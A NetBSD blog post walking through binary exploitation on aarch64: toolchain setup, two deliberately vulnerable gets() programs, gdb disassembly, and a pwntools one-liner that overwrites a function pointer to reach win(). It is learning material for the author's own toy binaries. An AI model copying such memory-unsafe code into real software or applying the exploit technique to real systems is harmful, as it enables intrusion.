hubertf's NetBSD Blog
Send interesting links to hubert at feyrer dot de!
 
[20260308] pwning NetBSD-aarch64 (ARM)

For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college. Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!

Here's an example of pwning on NetBSD/aarch64 (ARM).

Preparation

Step 0: Install NetBSD/aarch64, e.g. in qemu.

Setup the basics:

su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c "pkgin install sudo"
sudo pkgin install bash

Install pwntools & friends:

sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it

When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there:

python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install "capstone<6" pwntools # same as on macos with angr

Install gef in its usual place, just in case:

sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py

gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):

(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan

pwn v1

First pwn attempt:

#include <stdio.h>
#include <stdlib.h>

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}

Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.

Let's build and see the security parameters:
(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1'
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

Not that many security features on by default. What's going on, NetBSD?!
Ignoring this for now, let's look at the assembly code:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 <+0>:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 <+4>:	mov	x29, sp
   0x00000002001009fc <+8>:	adrp	x0, 0x200100000
   0x0000000200100a00 <+12>:	add	x0, x0, #0xaf8
   0x0000000200100a04 <+16>:	bl	0x200100730 <printf@plt>
   0x0000000200100a08 <+20>:	add	x0, sp, #0x10
   0x0000000200100a0c <+24>:	bl	0x200100790 <gets@plt>
   0x0000000200100a10 <+28>:	add	x0, sp, #0x10
   0x0000000200100a14 <+32>:	mov	x1, x0
   0x0000000200100a18 <+36>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+40>:	add	x0, x0, #0xb10
   0x0000000200100a20 <+44>:	bl	0x200100730 <printf@plt>
   0x0000000200100a24 <+48>:	nop
   0x0000000200100a28 <+52>:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c <+56>:	ret
End of assembler dump.
(gdb)

Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt.

pwn v2

Here we add a function pointer "goodbye" that can be overwritten:

#include <stdio.h>
#include <stdlib.h>

void lose(void)
{
	printf("Goodbye, loser.\n");
	exit(0);
}

void win(void)
{
	printf("Goodbye, winner.\n");
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf("What is your name? ");
	gets(name);
	printf("Hello %s\n", name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}

It's pretty obvious what's happening, but for the sake of completeness:

(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.

Let's look at the assembly output again:

(venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 <+0>:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 <+4>:	mov	x29, sp
   0x0000000200100a18 <+8>:	adrp	x0, 0x200100000
   0x0000000200100a1c <+12>:	add	x0, x0, #0x9d8
   0x0000000200100a20 <+16>:	str	x0, [sp, #40]
   0x0000000200100a24 <+20>:	adrp	x0, 0x200100000
   0x0000000200100a28 <+24>:	add	x0, x0, #0xb38
   0x0000000200100a2c <+28>:	bl	0x200100730 <printf@plt>
   0x0000000200100a30 <+32>:	add	x0, sp, #0x18
   0x0000000200100a34 <+36>:	bl	0x200100790 <gets@plt>
   0x0000000200100a38 <+40>:	add	x0, sp, #0x18
   0x0000000200100a3c <+44>:	mov	x1, x0
   0x0000000200100a40 <+48>:	adrp	x0, 0x200100000
   0x0000000200100a44 <+52>:	add	x0, x0, #0xb50
   0x0000000200100a48 <+56>:	bl	0x200100730 <printf@plt>
=> 0x0000000200100a4c <+60>:	ldr	x0, [sp, #40]               <===
=> 0x0000000200100a50 <+64>:	blr	x0                          <===
   0x0000000200100a54 <+68>:	nop
   0x0000000200100a58 <+72>:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c <+76>:	ret
End of assembler dump.
(gdb)

Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.

By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call:

(venv-pwn) qnetbsd$ pwn cyclic 100 >c
(venv-pwn) qnetbsd$ gdb  -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run <c' -ex 'i r x0' win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win <c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 <win>

The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........

Looks good, so call it:

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

Success

Voila, ARM pwnage on NetBSD! :-)

Summary:
(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm 

I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!

On security & compiler flags

Of course you can enable all the security flags shown above, with the proper gcc flags:
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln':
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] '/home/feyrer/tmp/win1-prot'
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
Exploiting this binary is left as an exercise to the reader.

[Tags: , , , , , , , ]


Tags: , 2bsd, 34c3, 3com, 501c3, 64bit, aarch64, acl, acls, acm, acorn, acpi, acpitz, adobe, adsense, advocacy, Advocacy, advogato, aes, afs, aiglx, aio, airport, alereon, alex, alix, alpha, altq, am64t, amazon, amd, amd64, anatomy, ansible, apache, apm, apple, arkeia, arla, arm, art, Article, Articles, ascii, asiabsdcon, aslr, asterisk, asus, atf, ath, atheros, atmel, audio, audiocodes, autoconf, avocent, avr32, aws, axigen, azure, backup, balloon, banners, basename, bash, bc, beaglebone, benchmark, bigip, binaryexploit, bind, blackmouse, bldgblog, blog, blogs, blosxom, bluetooth, board, bonjour, books, boot, boot-z, bootprops, bozohttpd, bs2000, bsd, bsdca, bsdcan, bsdcertification, bsdcg, bsdforen, bsdfreak, bsdmac, bsdmagazine, bsdnexus, bsdnow, bsdstats, bsdtalk, bsdtracker, bug, build.sh, busybox, buttons, bzip, c-jump, c99, cafepress, calendar, callweaver, camera, can, candy, capabilities, card, carp, cars, cauldron, ccc, ccd, cd, cddl, cdrom, cdrtools, cebit, centrino, cephes, cert, certification, cfs, cgd, cgf, checkpointing, china, christos, cisco, cloud, clt, cobalt, coccinelle, codian, colossus, common-criteria, community, compat, compiz, compsci, concept04, config, console, contest, copyright, core, cortina, coverity, cpu, cradlepoint, cray, crosscompile, crunchgen, cryptography, csh, ctf, cu, cuneiform, curses, curtain, cuwin, cvs, cvs-digest, cvsup, cygwin, daemon, daemonforums, daimer, danger, darwin, data, date, dd, debian, debugging, dell, desktop, devd, devfs, devotionalia, df, dfd_keeper, dhcp, dhcpcd, dhcpd, dhs, diezeit, digest, digests, dilbert, dirhash, disklabel, distcc, dmesg, Docs, Documentation, donations, draco, dracopkg, dragonflybsd, dreamcast, dri, driver, drivers, drm, dsl, dst, dtrace, dvb, ec2, eclipse, eeepc, eeepca, ehci, ehsm, eifel, elf, em64t, Embedded, embedded, emips, emulate, encoding, envsys, eol, espresso, etcupdate, etherip, euca2ools, eucalyptus, eurobsdcon, eurosys, Events, exascale, ext3, f5, facebook, falken, fan, faq, fatbinary, features, fefe, ffs, filesystem, fileysstem, firefox, firewire, fireworks, flag, flash, flashsucks, flickr, flyer, fmslabs, force10, fortunes, fosdem, fpga, freebsd, freedarwin, freescale, freex, freshbsd, friendlyAam, friendlyarm, fritzbox, froscamp, fsck, fss, fstat, ftp, ftpd, fujitsu, fun, fundraising, funds, funny, fuse, fusion, g4u, g5, galaxy, games, gcc, gdb, gentoo, geode, getty, gimstix, git, gnome, google, google-soc, googlecomputeengine, gpio, gpl, gprs, gracetech, gre, groff, groupwise, growfs, grub, gumstix, guug, gzip, hackathon, hackbench, hal, hanoi, happabsd, Hardware, hardware, haze, hdaudio, heat, heimdal, hf6to4, hfblog, hfs, history, hosting, hotplug, hp, hp700, hpcarm, hpcsh, hpux, html, httpd, hubertf, hurd, i18n, i386, i386pkg, ia64, ian, ibm, ids, ieee, ifwatchd, igd, iij, image, images, imx233, imx7, information, init, initrd, install, intel, interix, internet2, interview, interviews, io, ioccc, iostat, ipbt, ipfilter, ipmi, ipplug, ipsec, ipv6, irbsd, irc, irix, iscsi, isdn, iso, isp, itojun, jail, jails, japanese, java, javascript, jetson, jibbed, jihbed, jobs, jokes, journaling, kame, kauth, kde, kerberos, kergis, kernel, keyboardcolemak, kirkwood, kitt, kmod, kolab, kvm, kylin, l10n, landisk, laptop, laptops, law, ld.so, ldap, lehmanns, lenovo, lfs, libc, license, licensing, linkedin, links, linksys, linux, linuxtag, live-cd, lkm, localtime, locate.updatedb, logfile, logging, logo, logos, lom, lte, lvm, m68k, mac, macmini, macppc, macromedia, magicmouse, mahesha, mail, makefs, malo, mame, manpages, marvell, matlab, maus, max3232, mbr95, mbuf, mca, mdns, mediant, mediapack, meetbsd, mercedesbenz, mercurial, mesh, meshcube, mfs, mhonarc, microkernel, microsoft, midi, mini2440, miniroot, minix, mips, mirbsd, missile, mit, mixer, mobile-ip, modula3, modules, money, mouse, mp3, mpls, mprotect, mtftp, mult, multics, multilib, multimedia, music, mysql, named, nas, nasa, nat, ncode, ncq, ndis, nec, nemo, neo1973, netbook, netboot, netbsd, netbsd.se, nethack, nethence, netksb, netstat, netwalker, networking, neutrino, nforce, nfs, nis, npf, npwr, nroff, nslu2, nspluginwrapper, ntfs-3f, ntp, nullfs, numa, nvi, nvidia, nycbsdcon, office, ofppc, ohloh, olimex, olinuxino, olpc, onetbsd, openat, openbgpd, openblocks, openbsd, opencrypto, opendarwin, opengrok, openmoko, openoffice, openpam, openrisk, opensolaris, openssl, or1k, oracle, oreilly, oscon, osf1, osjb, paas, packages, pad, pae, pam, pan, panasonic, parallels, pascal, patch, patents, pax, paypal, pc532, pc98, pcc, pci, pdf, pegasos, penguin, performance, pexpect, pf, pfsync, pgx32, php, pie, pike, pinderkent, pkg_install, pkg_select, pkgin, pkglint, pkgmanager, pkgsrc, pkgsrc.se, pkgsrcCon, pkgsrccon, Platforms, plathome, pleiades, pocketsan, podcast, pofacs, politics, polls, polybsd, portability, posix, postinstall, power3, powernow, powerpc, powerpf, pppoe, precedence, preemption, prep, presentations, prezi, Products, products, proplib, protectdrive, proxy, ps, ps3, psp, psrset, pthread, ptp, ptyfs, Publications, puffs, puredarwin, pwn, pwntools, pxe, qemu, qnx, qos, qt, quality-management, quine, quote, quotes, r-project, ra5370, radio, radiotap, raid, raidframe, rants, raptor, raq, raspberrypi, rc.d, rc2, readahead, realtime, record, refuse, reiserfs, Release, releases, Releases, releng, reports, resize, restore, ricoh, rijndael, rip, riscos, rng, roadmap, robopkg, robot, robots, roff, rootserver, rotfl, rox, rs323, rs6k, rss, ruby, rump, rzip, sa, safenet, san, sata, savin, sbsd, scampi, scheduler, scheduling, schmonz, sco, screen, script, sdf, sdtemp, secmodel, security, Security, sed, segvguard, seil, sendmail, serial, serveraptor, sfu, sge, sgi, sgimips, sh, sha2, shark, sharp, shisa, shutdown, sidekick, size, slackware, slashdot, slides, slit, smbus, smp, sockstat, soekris, softdep, softlayer, software, solaris, sony, sound, source, source-changes, spanish, sparc, sparc64, spider, spreadshirt, spz, squid, ssh, sshfs, ssp, statistics, stereostream, stickers, storage, stty, studybsd, subfile, sudbury, sudo, summit, sun, sun2, sun3, sunfire, sunpci, support, sus, suse, sushi, susv3, svn, swcrypto, symlinks, sysbench, sysctl, sysinst, sysjail, syslog, syspkg, systat, systrace, sysupdate, t-shirt, tabs, talks, tanenbaum, tape, tcp, tcp/ip, tcpdrop, tcpmux, tcsh, teamasa, tegra, teredo, termcap, terminfo, testdrive, testing, tetris, tex, TeXlive, thecus, theopengroup, thin-client, thinkgeek, thorpej, threads, time, time_t, timecounters, tip, tk1, tme, tmp, tmpfs, tnf, toaster, todo, toolchain, top, torvalds, toshiba, touchpanel, training, translation, tso, tty, ttyrec, tulip, tun, tuning, uboot, ucom, udf, ufs, ukfs, ums, unetbootin, unicos, unix, updating, upnp, uptime, usb, usenix, useradd, userconf, userfriendly, usermode, usl, utc, utf8, uucp, uvc, uvm, valgrind, vax, vcfe, vcr, veriexec, vesa, video, videos, virtex, virtualization, vm, vmware, vnd, vobb, voip, voltalinux, vpn, vpnc, vulab, w-zero3, wallpaper, wapbl, wargames, wasabi, webcam, webfwlog, wedges, wgt624v3, wiki, willcom, wimax, window, windows, winmodem, wireless, wizd, wlan, wordle, wpa, wscons, wstablet, X, x.org, x11, x2apic, xbox, xcast, xen, Xen, xfree, xfs, xgalaxy, xilinx, xkcd, xlockmore, xmms, xmp, xorg, xscale, youos, youtube, zaurus, zdump, zfs, zlib

'nuff. Grab the RSS-feed, index, or go back to my regular NetBSD page

Disclaimer: All opinion expressed here is purely my own. No responsibility is taken for anything.

Access count: 38326030
Copyright (c) Hubert Feyrer